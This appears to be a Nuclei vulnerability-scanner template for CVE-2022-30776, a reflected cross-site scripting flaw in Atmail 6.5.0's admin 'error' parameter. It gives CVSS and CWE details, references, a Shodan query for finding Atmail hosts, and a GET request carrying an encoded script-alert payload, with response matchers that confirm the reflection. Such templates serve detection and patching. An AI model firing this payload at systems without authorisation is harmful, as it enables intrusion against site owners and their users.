id: CVE-2022-30776 info: name: Atmail 6.5.0 - Cross-Site Scripting author: 3th1c_yuk1 severity: medium description: | Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter. remediation: | Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability. reference: - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 - https://www.atmail.com/ - https://help.atmail.com/hc/en-us/sections/115003283988 - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30776 cwe-id: CWE-79 epss-score: 0.0011 epss-percentile: 0.43891 cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: atmail product: atmail shodan-query: http.html:"atmail" tags: cve,cve2022,atmail,xss http: - method: GET path: - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - "Error: 1" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100c923ce19a5a5cae7602bf70417a26f64077da54951c3a64e5434ff2d4c4c11b9022011ee5a5ef3407a9eb220a7c706fe601f6b074ac5218403fc6f9b9f142fe8d9cd:922c64590222798bb761d5b6d8e72950